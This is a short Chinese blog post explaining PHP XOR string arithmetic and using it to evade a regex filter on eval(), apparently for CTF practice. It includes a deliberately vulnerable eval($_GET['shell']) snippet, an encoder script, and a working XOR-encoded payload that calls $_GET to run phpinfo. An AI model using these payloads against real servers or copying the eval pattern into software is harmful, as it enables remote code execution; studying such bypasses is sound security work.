浅析PHP异或绕过

发布于 2021-08-09  109 次阅读


PHP异或流程

在PHP中,对两个变量进行异或是,会将两个变量的值转化为ASCII码,再将ASCII转化为二进制进行按位异或,然后将异或得到的结果转换为ASCII码,最后再将ASCII转为字符串,整个异或完成。

# 举例说明字符异或的方式
<?php
echo "a" ^ "B";
?>
1.按照流程第一步转化为ascii码: a(97),A(66)
2.转为二进制数:a(0110 0001), A(0100 0010)
3.按位进行异或:(0010 0011)
4.转化为ascii (35)
5.转化为字符 `#`

验证结论:

image-20210809104903580

异或中的tips

  • PHP能直接对一串字符串进行异或运算,例如“123”^"abc",会进行"1"和“a”异或,“2”和“b”异或以此类推,获得完整的字符串。
  • 进行异或运算时要将数字转换成字符形式,如果数字(int)和字符异或的话,结果只会是数字,例如1^"a"=1,"a"^2=2
  • php特性use of undefined constant,会将没有引号的字符都自动视为字符串,ASCII码大于0x7F的都会被当作字符串,由此可知可以简化异或过程,任何字符与0xff异或都会取相反,这样就能减少运算量了

因此可以编写异或获得字符的脚本

<?php
$l = "";
$r = "";
$argv = str_split("_POST");
for($i=0;$i<count($argv);$i++)
{  
   for($j=0;$j<255;$j++)
  {
       $k = chr($j)^chr(255);      
       if($k == $argv[$i]){
      if($j<16){
      $l .= "%ff";
               $r .= "%0" . dechex($j);
      continue;
      }
           $l .= "%ff";
           $r .= "%" . dechex($j);
           continue;
      }
  }
}
echo "\{$l`$r\}";
?>

PHP异或绕过正则

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
 eval($_GET['shell']);
}
  • PHP的eval()函数在执行时如果内部有类似"abc"^"def"的计算式,那么就先进行计算再执行,我们可以利用再创参数来实现更方便的操作,例如传入?a=$_GET[b],由于b不受限制就可以任意传值了
  • 传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用{}代替原因是php的use of undefined constant特性,例如${_GET}{a}这样的语句php是不会判为错误的,因为{}使用来界定变量的,这句话就是会将_GET自动看为字符串,也就是$_GET['a']
  • 类似phpinfo();的,需要将后面的();放在第个参数的后面,例如url?a={_GET}{b}();&b=phpinfo,也就是?a=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo,在传入后实际上为${????^????}{?}();但是到了eval()函数内部就会变成${_GET}{?}();成功执行

参考文章

https://www.cnblogs.com/cimuhuashuimu/p/11546422.html

https://www.cnblogs.com/wangtanzhi/p/12250386.html